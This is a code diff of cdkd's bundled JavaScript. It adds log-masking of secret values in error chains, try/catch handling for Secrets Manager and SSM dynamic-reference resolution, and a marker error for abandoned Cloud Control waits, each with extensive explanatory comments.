|
|
28323
|
+
* fallback does NOT sanitize (it rethrows the SDK's message as it is), so the
|
|
28324
|
+
* second spelling is inert at that call site and costs one comparison.
|
|
28325
|
+
*
|
|
28326
|
+
* NO MINIMUM LENGTH beyond non-empty, deliberately. A one-character masked
|
|
28327
|
+
* name rewrites every occurrence of that character in the sentence
|
|
28328
|
+
* (`a` -> `***` turns `us-east-1` into `us-e***st-1`), which is unreadable
|
|
28329
|
+
* but SAFE — the direction this function must never get wrong is printing
|
|
28330
|
+
* too little, not too much, and a floor here would be a floor on masking.
|
|
28331
|
+
*
|
|
28332
|
+
* `raw !== ''` is DEFENSIVE, and it is NOT the guard that handles a name
|
|
28333
|
+
* whose sanitized form is empty — that one inspects `shown`, below, and its
|
|
28334
|
+
* own comment says why. What this clause is not is redundant against
|
|
28335
|
+
* `raw !== masked`: `rememberLogTwin` has no empty-key guard and
|
|
28336
|
+
* `splitLogTwins` registers every piece it produces, so `registeredLogTwin`
|
|
28337
|
+
* can answer `***` for the empty string and make `maskSecretsForLog('')`
|
|
28338
|
+
* differ from `''`. Neither call site can reach it — both refuse an empty
|
|
28339
|
+
* name upstream — so it fences nothing measured today.
|
|
28340
|
+
*
|
|
28341
|
+
* LONGEST KEY FIRST — over every key, raw and sanitized alike, which is what
|
|
28342
|
+
* the comparator sees — so a key that contains another is rewritten as itself
|
|
28343
|
+
* rather than having the inner one replaced underneath it. **That ordering
|
|
28344
|
+
* is DEFENSIVE and this suite does not distinguish it** — measured: reversing
|
|
28345
|
+
* the comparator leaves every case green. The reason is that no case here
|
|
28346
|
+
* builds two raws that NEST: the one case with two surviving pairs masks a
|
|
28347
|
+
* stack name and a region that share no substring, and everywhere else one
|
|
28348
|
+
* pair is dropped for carrying no mask. It earns its place on the shape that
|
|
28349
|
+
* DOES diverge — a shorter raw whose mask is not a prefix of the longer's
|
|
28350
|
+
* (`q7` -> `***` beside `q7x` -> `***` turns `q7x` into `***x` shortest-first,
|
|
28351
|
+
* leaking the `x`) — which needs two separately recorded secrets, one of them
|
|
28352
|
+
* masked WHOLE, and is not constructed here. Recorded as measured rather than
|
|
28353
|
+
* claimed fenced.
|
|
28354
|
+
*/
|
|
28355
|
+
positionalNameMask(pairs) {
|
|
28356
|
+
const substitutions = pairs.filter(([raw, masked]) => raw !== "" && raw !== masked).flatMap(([raw, masked]) => {
|
|
28357
|
+
const shown = displaySafe(raw, { asciiOnly: true });
|
|
28358
|
+
if (shown === raw) return [[raw, masked]];
|
|
28359
|
+
const shownMask = displaySafe(masked, { asciiOnly: true });
|
|
28360
|
+
return shown === "" || shownMask === "" ? [[raw, masked]] : [[raw, masked], [shown, shownMask]];
|
|
28361
|
+
}).sort(([a], [b]) => b.length - a.length);
|
|
28362
|
+
if (substitutions.length === 0) return void 0;
|
|
28363
|
+
return (text) => {
|
|
28364
|
+
let out = text;
|
|
28365
|
+
for (const [raw, masked] of substitutions) out = out.split(raw).join(masked);
|
|
28366
|
+
return out;
|
|
28367
|
+
};
|
|
28368
|
+
}
|
|
28369
|
+
/**
|
|
28370
|
+
* Mask a failure raised by a module this resolver handed RAW names to (issue
|
|
28371
|
+
* [#3234](https://github.com/go-to-k/cdkd/issues/3234)).
|
|
28372
|
+
*
|
|
28373
|
+
* Returns a masked CLONE of the whole cause chain, not a new wrapper, and
|
|
28374
|
+
* that is the point: `formatError` renders `Caused by: <cause>`, so masking
|
|
28375
|
+
* only a fresh top-level message leaves the original message one link down
|
|
28376
|
+
* and prints it anyway. The clone keeps the class, every own descriptor
|
|
28377
|
+
* (`markNonRetryable`'s non-enumerable symbol, `$metadata`, `Code`, `name`)
|
|
28378
|
+
* and the chain shape, so every reader that classifies this error still
|
|
28379
|
+
* does — see `maskSecretsInError`'s own doc.
|
|
28380
|
+
*
|
|
28381
|
+
* `pairs` are (raw, masked-log-text) for the names this frame handed over;
|
|
28382
|
+
* {@link positionalNameMask} turns them into the transform and owns why.
|
|
28383
|
+
*/
|
|
28384
|
+
maskStateReadError(error, pairs, context) {
|
|
28385
|
+
const extraMask = this.positionalNameMask(pairs);
|
|
28386
|
+
let masked = error;
|
|
28387
|
+
let positional = extraMask;
|
|
28388
|
+
for (const bag of [context?.inheritedSecrets, context?.recordedSecretValues]) {
|
|
28389
|
+
if (!bag || bag.size === 0) continue;
|
|
28390
|
+
masked = maskSecretsInError(masked, bag, positional);
|
|
28391
|
+
positional = void 0;
|
|
28392
|
+
}
|
|
28393
|
+
if (positional) masked = maskSecretsInError(masked, /* @__PURE__ */ new Map(), positional);
|
|
28394
|
+
throw masked;
|
|
28395
|
+
}
|
|
28396
|
+
/**
|
|
27363
28397
|
* Read the producer's state from the SAME AWS account (no RoleArn).
|
|
27364
28398
|
*
|
|
27365
28399
|
* Uses the consumer's shared `context.stateBackend` — the same backend
|
|
@@ -27601,6 +28635,27 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27601
28635
|
return this.maskNeedlesForLog(text, context) !== text ? "***" : registered;
|
|
27602
28636
|
}
|
|
27603
28637
|
/**
|
|
28638
|
+
* Build one {@link AbandonedResolution}, masking BOTH of its text fields.
|
|
28639
|
+
*
|
|
28640
|
+
* One constructor for both walks so neither can grow a second masking rule:
|
|
28641
|
+
* `subject` and `message` are the only fields a consumer may render, and each
|
|
28642
|
+
* carries its own route to a plaintext — an assembled reference puts one in
|
|
28643
|
+
* the raw token (issue #2827), and an SDK rejection arrives RAW through
|
|
28644
|
+
* `sendWithThrottleRetry` echoing the `Name` it was handed. `error` is kept
|
|
28645
|
+
* unmasked on purpose and is documented as classification-only.
|
|
28646
|
+
*/
|
|
28647
|
+
abandonedUnit(unit, subject, error, context, rawInput, preRedact) {
|
|
28648
|
+
const raw = error instanceof Error ? error.message : String(error);
|
|
28649
|
+
return {
|
|
28650
|
+
unit,
|
|
28651
|
+
subject: this.maskSecretsForLog(subject, context),
|
|
28652
|
+
message: this.maskSecretsForLog(preRedact === void 0 ? raw : preRedact(raw), context),
|
|
28653
|
+
error,
|
|
28654
|
+
carriedDynamicReference: carriesDynamicReference(rawInput),
|
|
28655
|
+
carriedFetchableReference: carriesFetchableDynamicReference(rawInput)
|
|
28656
|
+
};
|
|
28657
|
+
}
|
|
28658
|
+
/**
|
|
27604
28659
|
* The needle mask alone: {@link maskSecretsForLog} without the log-twin
|
|
27605
28660
|
* lookup. For the two DETECTORS that must ask the needle mask apart from the
|
|
27606
28661
|
* position mask: `logTwinText`, which asks it of a value that already has a
|
|
@@ -28012,77 +29067,92 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
28012
29067
|
const pairedTwin = tokensAligned ? twinTokens[index] : void 0;
|
|
28013
29068
|
const tokenLogText = inherited?.tokenLogText ?? (pairedTwin === void 0 ? "***" : this.straddleSafeTwin(fullMatch, pairedTwin, context));
|
|
28014
29069
|
const nameLogText = inherited?.nameLogText ?? (pairedTwin === void 0 ? () => "***" : this.dynamicReferenceNameLogText(inner, pairedTwin, context));
|
|
28015
|
-
|
|
28016
|
-
|
|
28017
|
-
|
|
28018
|
-
|
|
28019
|
-
|
|
28020
|
-
|
|
28021
|
-
|
|
28022
|
-
|
|
28023
|
-
|
|
28024
|
-
|
|
28025
|
-
|
|
28026
|
-
|
|
28027
|
-
|
|
28028
|
-
const cached = this.cachedDynamicReferences.get(fullMatch);
|
|
28029
|
-
if (cached) {
|
|
28030
|
-
if (cached.secret && cached.value) {
|
|
28031
|
-
context?.recordedSecretValues?.set(cached.value, fullMatch);
|
|
28032
|
-
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
|
|
29070
|
+
try {
|
|
29071
|
+
const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
|
|
29072
|
+
if (isKnownSecret && context?.skipDynamicReferences) continue;
|
|
29073
|
+
const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
|
|
29074
|
+
if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
|
|
29075
|
+
if (regionVerdict.kind === "named-region") {
|
|
29076
|
+
const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
|
|
29077
|
+
tokenLogText,
|
|
29078
|
+
nameLogText
|
|
29079
|
+
});
|
|
29080
|
+
result = result.replace(fullMatch, () => foreign.result);
|
|
29081
|
+
twin = twin.replace(fullMatch, () => foreign.twin);
|
|
29082
|
+
continue;
|
|
28033
29083
|
}
|
|
28034
|
-
|
|
28035
|
-
|
|
28036
|
-
|
|
28037
|
-
|
|
28038
|
-
|
|
28039
|
-
|
|
28040
|
-
|
|
28041
|
-
|
|
28042
|
-
|
|
28043
|
-
*
|
|
28044
|
-
* Cleared for exactly the answers the verdict store refuses to pin — an
|
|
28045
|
-
* ssm parameter judged secret from a `Type` that is not a definitive
|
|
28046
|
-
* `SecureString` (issue #1901's fail-closed arm). Caching one would pin
|
|
28047
|
-
* the transient answer for the whole resolver anyway, which is what the
|
|
28048
|
-
* refusal to memoize exists to prevent: before the value cache became
|
|
28049
|
-
* instance-scoped this was already true process-wide, and the
|
|
28050
|
-
* "next pass re-asks" property only ever held on the comparison path,
|
|
28051
|
-
* which caches nothing (issue #1933).
|
|
28052
|
-
*/
|
|
28053
|
-
let cacheable = true;
|
|
28054
|
-
if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
|
|
28055
|
-
else if (service === "ssm") {
|
|
28056
|
-
const decrypt = context?.skipDynamicReferences !== true;
|
|
28057
|
-
const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
|
|
28058
|
-
if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
|
|
28059
|
-
else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
|
|
28060
|
-
else cacheable = false;
|
|
28061
|
-
isSecret = param.secure;
|
|
28062
|
-
if (param.secure) {
|
|
28063
|
-
if (!decrypt) continue;
|
|
29084
|
+
const cached = this.cachedDynamicReferences.get(fullMatch);
|
|
29085
|
+
if (cached) {
|
|
29086
|
+
if (cached.secret && cached.value) {
|
|
29087
|
+
context?.recordedSecretValues?.set(cached.value, fullMatch);
|
|
29088
|
+
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
|
|
29089
|
+
}
|
|
29090
|
+
result = result.replace(fullMatch, () => cached.value);
|
|
29091
|
+
twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
|
|
29092
|
+
continue;
|
|
28064
29093
|
}
|
|
28065
|
-
|
|
28066
|
-
|
|
28067
|
-
|
|
28068
|
-
|
|
28069
|
-
|
|
28070
|
-
|
|
28071
|
-
|
|
28072
|
-
|
|
29094
|
+
const parts = inner.split(":");
|
|
29095
|
+
let resolved;
|
|
29096
|
+
let isSecret = isKnownSecret;
|
|
29097
|
+
/**
|
|
29098
|
+
* May the resolved value be REMEMBERED, or must the next pass re-ask?
|
|
29099
|
+
*
|
|
29100
|
+
* Cleared for exactly the answers the verdict store refuses to pin — an
|
|
29101
|
+
* ssm parameter judged secret from a `Type` that is not a definitive
|
|
29102
|
+
* `SecureString` (issue #1901's fail-closed arm). Caching one would pin
|
|
29103
|
+
* the transient answer for the whole resolver anyway, which is what the
|
|
29104
|
+
* refusal to memoize exists to prevent: before the value cache became
|
|
29105
|
+
* instance-scoped this was already true process-wide, and the
|
|
29106
|
+
* "next pass re-asks" property only ever held on the comparison path,
|
|
29107
|
+
* which caches nothing (issue #1933).
|
|
29108
|
+
*/
|
|
29109
|
+
let cacheable = true;
|
|
29110
|
+
if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
|
|
29111
|
+
else if (service === "ssm") {
|
|
29112
|
+
const decrypt = context?.skipDynamicReferences !== true;
|
|
29113
|
+
const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
|
|
29114
|
+
if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
|
|
29115
|
+
else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
|
|
29116
|
+
else cacheable = false;
|
|
29117
|
+
isSecret = param.secure;
|
|
29118
|
+
if (param.secure) {
|
|
29119
|
+
if (!decrypt) continue;
|
|
29120
|
+
}
|
|
29121
|
+
resolved = param.value;
|
|
29122
|
+
} else if (service === "ssm-secure") {
|
|
29123
|
+
const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
|
|
29124
|
+
if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
|
|
29125
|
+
isSecret = true;
|
|
29126
|
+
resolved = param.value;
|
|
29127
|
+
} else {
|
|
29128
|
+
this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
|
|
29129
|
+
continue;
|
|
29130
|
+
}
|
|
29131
|
+
if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
|
|
29132
|
+
value: resolved,
|
|
29133
|
+
secret: isSecret
|
|
29134
|
+
});
|
|
29135
|
+
if (isSecret && resolved) {
|
|
29136
|
+
context?.recordedSecretValues?.set(resolved, fullMatch);
|
|
29137
|
+
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
|
|
29138
|
+
if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
|
|
29139
|
+
}
|
|
29140
|
+
result = result.replace(fullMatch, () => resolved);
|
|
29141
|
+
twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
|
|
29142
|
+
} catch (err) {
|
|
29143
|
+
if (context?.abandonedResolutions === void 0) throw err;
|
|
29144
|
+
if (isDeliberateResolutionRefusal(err)) throw err;
|
|
29145
|
+
context.abandonedResolutions.push(this.abandonedUnit("token", tokenLogText, err, context, fullMatch, (text) => {
|
|
29146
|
+
let out = text;
|
|
29147
|
+
const segments = [...new Set(inner.split(":"))].filter((segment) => segment.length > 0).sort((a, b) => b.length - a.length);
|
|
29148
|
+
for (const segment of segments) {
|
|
29149
|
+
const logged = nameLogText(segment);
|
|
29150
|
+
if (logged !== segment) out = out.split(segment).join(logged);
|
|
29151
|
+
}
|
|
29152
|
+
return out;
|
|
29153
|
+
}));
|
|
28073
29154
|
continue;
|
|
28074
29155
|
}
|
|
28075
|
-
if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
|
|
28076
|
-
value: resolved,
|
|
28077
|
-
secret: isSecret
|
|
28078
|
-
});
|
|
28079
|
-
if (isSecret && resolved) {
|
|
28080
|
-
context?.recordedSecretValues?.set(resolved, fullMatch);
|
|
28081
|
-
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
|
|
28082
|
-
if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
|
|
28083
|
-
}
|
|
28084
|
-
result = result.replace(fullMatch, () => resolved);
|
|
28085
|
-
twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
|
|
28086
29156
|
}
|
|
28087
29157
|
if (context) this.rememberLogTwin(context, result, twin);
|
|
28088
29158
|
return {
|
|
@@ -29225,6 +30295,99 @@ function slowCcOperationTimeoutMs(resourceType, operation) {
|
|
|
29225
30295
|
}
|
|
29226
30296
|
}
|
|
29227
30297
|
|
|
30298
|
+
//#endregion
|
|
30299
|
+
//#region src/provisioning/wait-abandoned.ts
|
|
30300
|
+
/**
|
|
30301
|
+
* The "cdkd stopped watching an operation that may still be running" marker
|
|
30302
|
+
* (issue [#3236](https://github.com/go-to-k/cdkd/issues/3236), widened by
|
|
30303
|
+
* [#3253](https://github.com/go-to-k/cdkd/issues/3253)).
|
|
30304
|
+
*
|
|
30305
|
+
* `CloudControlWaitAbandonedError` is raised in `cloud-control-provider.ts`,
|
|
30306
|
+
* but FIVE call sites have to refuse it, and three of them live in other
|
|
30307
|
+
* files. Four are GOVERNED by
|
|
30308
|
+
* `tests/unit/provisioning/wait-abandoned-guard-population.test.ts`:
|
|
30309
|
+
*
|
|
30310
|
+
* - `cloud-control-provider.ts`'s own `delete()` catch,
|
|
30311
|
+
* - `deploy-engine.ts`'s replacement delete-then-CREATE arm,
|
|
30312
|
+
* - `deploy-engine.ts`'s template-removal delete arm,
|
|
30313
|
+
* - `destroy-runner.ts`'s per-resource delete loop.
|
|
30314
|
+
*
|
|
30315
|
+
* The FIFTH is `cleanupFailedCreateRemnant`, and it is outside that population
|
|
30316
|
+
* by construction rather than by oversight: its partner classifier is the
|
|
30317
|
+
* REGEX helper `isNotFoundMessage`, which carries no literal needles, so no
|
|
30318
|
+
* needle-driven scan can find it. It has a behavioural case instead, and it
|
|
30319
|
+
* needs the guard for a sharper reason than the other four — that regex is
|
|
30320
|
+
* case-INSENSITIVE, so `getaddrinfo ENOTFOUND ...` matches `/not\s*found/i`.
|
|
30321
|
+
*
|
|
30322
|
+
* Each decides "the resource is already gone" by SUBSTRING-matching the error
|
|
30323
|
+
* message, and each then DROPS the state row. An abandoned wait says the
|
|
30324
|
+
* opposite — the delete may still be running — and its message interpolates
|
|
30325
|
+
* the LOGICAL ID and the last-seen IDENTIFIER, both user- or template-chosen,
|
|
30326
|
+
* so a resource named `PageNotFound` satisfies those needles. Round 1 of
|
|
30327
|
+
* go-to-k/cdkd#3249 guarded the first site with a local `instanceof` and left
|
|
30328
|
+
* the other three, which is what this module exists to fix: ONE predicate the
|
|
30329
|
+
* three foreign sites can import without importing the provider.
|
|
30330
|
+
*
|
|
30331
|
+
* **A marker rather than an exported class + `instanceof`**, for the reason
|
|
30332
|
+
* `markNonRetryable` is one: `deploy-engine.ts` reaches the provider only
|
|
30333
|
+
* through `ProviderRegistry`, so importing the class there would add an edge
|
|
30334
|
+
* into an already dense ring, and a marker survives a wrapper that copies a
|
|
30335
|
+
* message without preserving a prototype.
|
|
30336
|
+
*
|
|
30337
|
+
* **NOT `markNonRetryable`**, though the mechanism is identical: a DELETE or
|
|
30338
|
+
* UPDATE abandonment is deliberately left RETRYABLE so the destroy runner can
|
|
30339
|
+
* re-issue an idempotent delete, and only CREATE is marked. Reusing that
|
|
30340
|
+
* marker would either make the guards miss DELETE — the case that drops a
|
|
30341
|
+
* state row — or make a DELETE non-retryable and lose the recovery.
|
|
30342
|
+
*
|
|
30343
|
+
* A LEAF: no imports, ever. All four consumers sit on the deploy engine ->
|
|
30344
|
+
* rollback executor -> registry -> provider ring, and a new edge into it from
|
|
30345
|
+
* any of them would close a cycle.
|
|
30346
|
+
*/
|
|
30347
|
+
const WAIT_ABANDONED_MARKER = Symbol.for("cdkd.waitAbandoned");
|
|
30348
|
+
/**
|
|
30349
|
+
* The `.cause` walk depth, the same bound `retryable-errors.ts` uses. cdkd
|
|
30350
|
+
* wraps errors, so the marked error is routinely one or two hops down.
|
|
30351
|
+
*/
|
|
30352
|
+
const MAX_CAUSE_CHAIN_DEPTH = 5;
|
|
30353
|
+
/**
|
|
30354
|
+
* Stamp an error as an abandoned wait.
|
|
30355
|
+
*
|
|
30356
|
+
* `E extends Error`, not `object`: the reader below is a PROTOTYPE-CHAIN
|
|
30357
|
+
* lookup, so marking a class or a shared prototype would silently mark every
|
|
30358
|
+
* instance of it. A non-extensible (frozen / sealed) error is returned
|
|
30359
|
+
* UNMARKED rather than allowed to throw — callers use this inline, so a
|
|
30360
|
+
* `TypeError` raised here would REPLACE the error the caller meant to raise.
|
|
30361
|
+
* Both rules are `markNonRetryable`'s, for its reasons.
|
|
30362
|
+
*/
|
|
30363
|
+
function markWaitAbandoned(error) {
|
|
30364
|
+
if (!Object.isExtensible(error)) return error;
|
|
30365
|
+
Object.defineProperty(error, WAIT_ABANDONED_MARKER, {
|
|
30366
|
+
value: true,
|
|
30367
|
+
enumerable: false,
|
|
30368
|
+
configurable: true,
|
|
30369
|
+
writable: false
|
|
30370
|
+
});
|
|
30371
|
+
return error;
|
|
30372
|
+
}
|
|
30373
|
+
/**
|
|
30374
|
+
* True when the error, or anything in its bounded `.cause` chain, was marked
|
|
30375
|
+
* by {@link markWaitAbandoned}.
|
|
30376
|
+
*
|
|
30377
|
+
* Every already-deleted classifier must test this BEFORE its substring match,
|
|
30378
|
+
* and must treat a true answer as "not already deleted" — i.e. re-throw. The
|
|
30379
|
+
* ordering is the whole point: a message-first guard has already decided by
|
|
30380
|
+
* the time it would consult the marker.
|
|
30381
|
+
*/
|
|
30382
|
+
function isWaitAbandonedError(error) {
|
|
30383
|
+
let current = error;
|
|
30384
|
+
for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
|
|
30385
|
+
if (current[WAIT_ABANDONED_MARKER] === true) return true;
|
|
30386
|
+
current = current.cause;
|
|
30387
|
+
}
|
|
30388
|
+
return false;
|
|
30389
|
+
}
|
|
30390
|
+
|
|
29228
30391
|
//#endregion
|
|
29229
30392
|
//#region src/provisioning/cloud-control-provider.ts
|
|
29230
30393
|
/**
|
|
@@ -29293,6 +30456,297 @@ var CloudControlOperationFailedError = class CloudControlOperationFailedError ex
|
|
|
29293
30456
|
}
|
|
29294
30457
|
};
|
|
29295
30458
|
/**
|
|
30459
|
+
* Thrown when cdkd STOPPED WAITING on a Cloud Control operation it had already
|
|
30460
|
+
* submitted — never when the operation itself reported a verdict (issue
|
|
30461
|
+
* [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
|
|
30462
|
+
*
|
|
30463
|
+
* Deliberately NOT a subclass of {@link CloudControlOperationFailedError}, and
|
|
30464
|
+
* the distinction is load-bearing in three places that key off that class:
|
|
30465
|
+
* `cleanupFailedCreateRemnant`'s first guard, `delete()`'s structured
|
|
30466
|
+
* `ErrorCode: NotFound` absorption, and `isUpdateUnsupportedError`'s chain
|
|
30467
|
+
* walk. All three ask "what did the handler report", and the answer here is
|
|
30468
|
+
* NOTHING — the handler was still running when cdkd lost sight of it. In
|
|
30469
|
+
* particular the remnant cleanup must not fire: it deletes by
|
|
30470
|
+
* `error.physicalId`, and an identifier seen on an IN_PROGRESS event names a
|
|
30471
|
+
* resource whose create may be about to SUCCEED.
|
|
30472
|
+
*
|
|
30473
|
+
* Carries {@link requestToken} because that token is the only handle on an
|
|
30474
|
+
* operation cdkd has no state record for, and Cloud Control keeps a request's
|
|
30475
|
+
* status queryable by it well after the operation settles. Before this class
|
|
30476
|
+
* the token lived only in `waitForOperation`'s parameter list, so a poll that
|
|
30477
|
+
* threw discarded it and the resource — which AWS went on to create — became
|
|
30478
|
+
* invisible to state, to rollback and to `cdkd destroy`.
|
|
30479
|
+
*
|
|
30480
|
+
* **The protection is the MARKER, not the wording** — `markWaitAbandoned` in
|
|
30481
|
+
* the constructor below, which four already-deleted classifiers test before
|
|
30482
|
+
* their substring match (`src/provisioning/wait-abandoned.ts` names them;
|
|
30483
|
+
* `.claude/rules/cloud-control-wait.md` carries the whole contract). An
|
|
30484
|
+
* earlier revision of this comment said the wording was the protection, and
|
|
30485
|
+
* that is exactly what review disproved: the message interpolates the LOGICAL
|
|
30486
|
+
* ID and the last-seen IDENTIFIER, both user- or template-chosen, so a
|
|
30487
|
+
* resource named `PageNotFound` satisfies every needle no matter how carefully
|
|
30488
|
+
* the template is worded.
|
|
30489
|
+
*
|
|
30490
|
+
* The wording constraint is still KEPT as a second layer — the message avoids
|
|
30491
|
+
* the phrases where it can, the same discipline `src/deployment/delete-outcome.ts`
|
|
30492
|
+
* and `src/provisioning/nested-stack-messages.ts` carry, and
|
|
30493
|
+
* `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts` asserts it
|
|
30494
|
+
* over the RENDERED message (cause text and identifier clause included) rather
|
|
30495
|
+
* than over the template. But it is belt to the marker's braces. Do not reword
|
|
30496
|
+
* this comment back into a claim that it suffices.
|
|
30497
|
+
*/
|
|
30498
|
+
var CloudControlWaitAbandonedError = class CloudControlWaitAbandonedError extends ProvisioningError {
|
|
30499
|
+
requestToken;
|
|
30500
|
+
ccOperation;
|
|
30501
|
+
/**
|
|
30502
|
+
* The `Identifier` from the last progress event cdkd managed to read, when
|
|
30503
|
+
* one carried it. Cloud Control populates it on IN_PROGRESS events once the
|
|
30504
|
+
* handler has materialized the resource, so on a CREATE this is frequently
|
|
30505
|
+
* the physical id of the very resource that is about to go untracked — worth
|
|
30506
|
+
* printing, and deliberately NOT worth acting on (see the remnant-cleanup
|
|
30507
|
+
* note above).
|
|
30508
|
+
*/
|
|
30509
|
+
lastSeenIdentifier;
|
|
30510
|
+
constructor(message, resourceType, logicalId, requestToken, ccOperation, lastSeenIdentifier, cause) {
|
|
30511
|
+
super(message, resourceType, logicalId, lastSeenIdentifier, cause);
|
|
30512
|
+
this.requestToken = requestToken;
|
|
30513
|
+
this.ccOperation = ccOperation;
|
|
30514
|
+
this.lastSeenIdentifier = lastSeenIdentifier;
|
|
30515
|
+
this.name = "CloudControlWaitAbandonedError";
|
|
30516
|
+
Object.setPrototypeOf(this, CloudControlWaitAbandonedError.prototype);
|
|
30517
|
+
markWaitAbandoned(this);
|
|
30518
|
+
}
|
|
30519
|
+
};
|
|
30520
|
+
/**
|
|
30521
|
+
* Node / undici socket-level failure codes, i.e. the request never reached
|
|
30522
|
+
* Cloud Control or its response never came back.
|
|
30523
|
+
*
|
|
30524
|
+
* Mirrors `@smithy/service-error-classification`'s own
|
|
30525
|
+
* `NODEJS_TIMEOUT_ERROR_CODES` (`ECONNRESET` / `ECONNREFUSED` / `EPIPE` /
|
|
30526
|
+
* `ETIMEDOUT`), widened by the DNS and route shapes a dropped VPN also
|
|
30527
|
+
* produces. The SDK already retries every one of these under STANDARD mode —
|
|
30528
|
+
* three attempts, sub-second — so an error that reaches cdkd here is one the
|
|
30529
|
+
* SDK's own budget did not outlast, not one it declined to retry.
|
|
30530
|
+
*/
|
|
30531
|
+
const POLL_TRANSPORT_ERROR_CODES = /* @__PURE__ */ new Set([
|
|
30532
|
+
"ECONNRESET",
|
|
30533
|
+
"ECONNREFUSED",
|
|
30534
|
+
"ECONNABORTED",
|
|
30535
|
+
"EPIPE",
|
|
30536
|
+
"ETIMEDOUT",
|
|
30537
|
+
"ENOTFOUND",
|
|
30538
|
+
"EAI_AGAIN",
|
|
30539
|
+
"EHOSTUNREACH",
|
|
30540
|
+
"ENETUNREACH",
|
|
30541
|
+
"ENETDOWN",
|
|
30542
|
+
"EPROTO"
|
|
30543
|
+
]);
|
|
30544
|
+
/** SDK error names for a request that timed out or was aborted in transit. */
|
|
30545
|
+
const POLL_TRANSPORT_ERROR_NAMES = /* @__PURE__ */ new Set([
|
|
30546
|
+
"TimeoutError",
|
|
30547
|
+
"RequestTimeout",
|
|
30548
|
+
"RequestTimeoutException",
|
|
30549
|
+
"RequestAbortedException"
|
|
30550
|
+
]);
|
|
30551
|
+
/**
|
|
30552
|
+
* Matches one of {@link POLL_TRANSPORT_ERROR_CODES} as a whole word inside a
|
|
30553
|
+
* message that lost its `code` property.
|
|
30554
|
+
*
|
|
30555
|
+
* DERIVED from the set rather than hand-spelled, so the two can never disagree
|
|
30556
|
+
* about which codes count — and so the pattern cannot be wrong about a code's
|
|
30557
|
+
* LENGTH, which a hand-written `E[A-Z]{3,10}` was: it is eleven characters
|
|
30558
|
+
* after the `E` in `ECONNREFUSED`, the exact code the issue reported, so the
|
|
30559
|
+
* arm silently matched nothing for the case it was added for.
|
|
30560
|
+
*/
|
|
30561
|
+
const POLL_TRANSPORT_CODE_IN_MESSAGE = new RegExp(`\\b(?:${[...POLL_TRANSPORT_ERROR_CODES].join("|")})\\b`);
|
|
30562
|
+
/**
|
|
30563
|
+
* The `.cause` walk depth. It is `retryable-errors.ts`'s `MAX_CAUSE_CHAIN_DEPTH`
|
|
30564
|
+
* VALUE, and equality is the requirement rather than a coincidence: a transport
|
|
30565
|
+
* code this predicate finds at a depth `isThrottlingError` /
|
|
30566
|
+
* `isMarkedNonRetryable` / `isRetryableTransientError` structurally cannot
|
|
30567
|
+
* reach means two classifiers answering differently about one chain, which is
|
|
30568
|
+
* the divergence this area keeps collapsing. A literal because that constant is
|
|
30569
|
+
* module-private there, and `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts`
|
|
30570
|
+
* pins the pair by building a chain one hop deeper than the bound and asserting
|
|
30571
|
+
* BOTH refuse it -- a claim an earlier revision made with no such case behind
|
|
30572
|
+
* it, which is exactly the shape a fence audit greps for.
|
|
30573
|
+
*
|
|
30574
|
+
* cdkd wraps errors (`ProvisioningError` keeps the raw one as `cause`), so the
|
|
30575
|
+
* socket error is routinely one or two hops down; the bound also keeps a cyclic
|
|
30576
|
+
* chain from hanging the classifier.
|
|
30577
|
+
*/
|
|
30578
|
+
const POLL_CAUSE_CHAIN_DEPTH = 5;
|
|
30579
|
+
/**
|
|
30580
|
+
* The ONE name whose message must be withheld from a non-`debug` line, and the
|
|
30581
|
+
* enumeration behind why it is exactly one.
|
|
30582
|
+
*
|
|
30583
|
+
